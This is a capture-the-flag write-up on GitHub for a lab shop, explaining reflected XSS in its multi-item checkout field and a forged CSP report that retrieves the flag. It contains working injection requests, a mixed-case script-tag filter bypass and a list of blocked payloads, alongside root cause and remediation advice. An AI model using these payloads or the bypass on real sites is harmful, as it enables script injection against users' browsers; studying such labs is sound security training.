Skip to content

rootdirective-sec/Unsoakable-Write-up

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

Unsoakable — CTF Write-up

challenge

Challenge Summary

Unsoakable is a small Riptide water blaster shop. It has product pages, a cart, and a checkout flow that returns an order confirmation page.

The challenge text was the real hint:

Riptide started in a garage with two pump cannons and a garden hose, then got popular faster than anyone planned. The checkout was stitched together over one wet summer and it works fine. Whether it minds its manners with everything you hand it is another question.

The phrases that stood out were:

  • two pump cannons and a garden hose
  • checkout was stitched together
  • everything you hand it

That sounded like a checkout parameter handling issue, especially around multi-item orders.

Initial Recon

The site looked like a normal e-commerce storefront for water blasters.

main page

The visible categories were:

Automatic
Pump
Pistol

Each product page had an add-to-cart form that submitted a SKU to /cart.php.

The add-to-cart request looked like this:

POST /cart.php
Content-Type: application/x-www-form-urlencoded

action=add&sku=RT-A1

After adding a product, the cart page showed the item and a checkout button.

At this point I started looking at the actual checkout request in Burp, because the description specifically pointed at the checkout.

Single Item Checkout

With one item in the cart, the checkout form submitted one hidden field named product.

The form looked like this:

<form method="post" action="/buy.php" class="rt-checkout">
  <input type="hidden" name="product" value="Auto-Nine">
  <button class="rt-btn rt-btn--cta rt-btn--block" type="submit">Place order</button>
</form>

So the normal single-item checkout request was:

POST /buy.php
Content-Type: application/x-www-form-urlencoded

product=Auto-Nine

The confirmation page reflected the product name back into the order list.

That gave me a reflection point to test.

Testing the Single Item Reflection

I first tried a harmless HTML payload in the product parameter:

POST /buy.php
Content-Type: application/x-www-form-urlencoded

product=%3Cb%3ESINGLE%3C%2Fb%3E

Decoded, this is:

<b>SINGLE</b>

The response escaped the HTML:

<li class="rt-thanks__item">
  &lt;b&gt;SINGLE&lt;/b&gt;
</li>

So the single product parameter was not the vulnerable path.

Multi Item Checkout

The hint mentioned multiple items, so I added more than one product to the cart.

With multiple items, the checkout form changed. Instead of one product field, the application used products[].

The form looked like this:

<form method="post" action="/buy.php" class="rt-checkout">
  <input type="hidden" name="products[]" value="Auto-Nine">
  <input type="hidden" name="products[]" value="Deluge Pump Cannon">
  <input type="hidden" name="products[]" value="Squall Mini">
  <button class="rt-btn rt-btn--cta rt-btn--block" type="submit">Place order</button>
</form>

This was the important difference.

The checkout had two paths:

product=      single item
products[]=   multiple items

Since the single-item path escaped HTML correctly, I tested whether the multi-item path did the same.

Testing the Multi Item Reflection

I sent a bold tag through products[]:

POST /buy.php
Content-Type: application/x-www-form-urlencoded

products[]=%3Cb%3EMULTI%3C%2Fb%3E&products[]=ok

Decoded:

products[]=<b>MULTI</b>&products[]=ok

This time, the response reflected the HTML raw:

<li class="rt-thanks__item">
  <b>MULTI</b>
</li>
<li class="rt-thanks__item">
  ok
</li>

That confirmed the bug: products[] was not being escaped before being inserted into the confirmation page.

Getting JavaScript to Execute

The next step was to turn raw HTML reflection into JavaScript execution.

Obvious XSS payloads were blocked by the edge filter:

<script>alert(1)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>

The filter was not very deep, though. A mixed-case script tag passed:

<sCrIpT>alert(1)</sCrIpT>

HTML tag names are case-insensitive, so the browser still treats sCrIpT as script.

The working request was:

POST /buy.php
Content-Type: application/x-www-form-urlencoded

products[]=%3CsCrIpT%3Ealert(1)%3C%2FsCrIpT%3E

The confirmation page reflected it like this:

<ul class="rt-thanks__list">
  <li class="rt-thanks__item">
    <sCrIpT>alert(1)</sCrIpT>
  </li>
</ul>

When the page rendered in Firefox, the payload executed.

xss alert

At this point, the reflected XSS was confirmed.

Understanding the Solve Mechanism

The confirmation page included this script:

<script src="/static/js/poll.js"></script>

That script polled:

GET /__status.php

Before solving, the status response was:

{"solved":false,"flag":null}

The response headers also exposed a report-only CSP with a report endpoint:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; style-src 'self'; font-src 'self'; img-src 'self' data:; base-uri 'none'; form-action 'self'; report-uri /__csp-report.php

The important part was:

report-uri /__csp-report.php

That meant the app expected CSP violation reports at /__csp-report.php.

Since the exploit used inline script, I sent a CSP report containing the reflected script sample.

Triggering the Flag

The solve request was:

POST /__csp-report.php
Content-Type: application/csp-report

{
  "csp-report": {
    "document-uri": "https://[[lab]].webverselabs-pro.com/buy.php",
    "violated-directive": "script-src-elem",
    "blocked-uri": "inline",
    "script-sample": "<sCrIpT>alert(1)</sCrIpT>"
  }
}

After sending the report, I checked /__status.php again.

The application returned:

{"solved":true,"flag":"WEBVERSE{f150e473fa1bb115fe5e41efc2a987c6}"}

flag response

Flag

WEBVERSE{f150e473fa1bb115fe5e41efc2a987c6}

Root Cause

The root cause was inconsistent output encoding between two checkout paths.

The single-item path used:

product=

and escaped HTML before rendering it.

The multi-item path used:

products[]=

but reflected each submitted value directly into the HTML response.

So this was safe:

&lt;b&gt;SINGLE&lt;/b&gt;

but this was unsafe:

<b>MULTI</b>

Hidden fields were also treated as trusted order data, but hidden fields are still fully attacker-controlled.

Impact

The confirmed vulnerability was reflected XSS in the checkout confirmation page.

An attacker who can get a victim to submit or visit a crafted checkout response could execute JavaScript in the victim's browser on the Riptide origin.

In a real application, this could lead to:

  • Same-origin actions as the victim
  • Reading sensitive page content
  • Stealing non-HttpOnly tokens
  • Modifying cart or account actions
  • Pivoting into other authenticated workflows

In this challenge, the XSS was used to produce a CSP report and retrieve the flag.

Remediation

The fix is to treat every checkout field as untrusted and escape it consistently.

Recommended fixes:

  • Escape all values from products[] before rendering
  • Use the same rendering helper for product and products[]
  • Do not trust hidden form fields for product names
  • Build the order summary from server-side cart state instead of submitted product names
  • Validate submitted SKUs against a server-side product list
  • Keep CSP, but do not rely on edge filtering as the primary XSS defense
  • Add regression tests for both single-item and multi-item checkout XSS payloads

Conclusion

The challenge hint pointed at the checkout and multi-item handling.

The single-item checkout parameter:

product=

escaped HTML correctly.

The multi-item checkout parameter:

products[]=

reflected submitted values raw.

A mixed-case script tag bypassed the edge filter:

<sCrIpT>alert(1)</sCrIpT>

Submitting it through products[] executed JavaScript on the order confirmation page.

The flag was then retrieved by sending a CSP report for that inline script to:

POST /__csp-report.php

This was a reflected XSS caused by inconsistent output encoding in the multi-item checkout path.

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors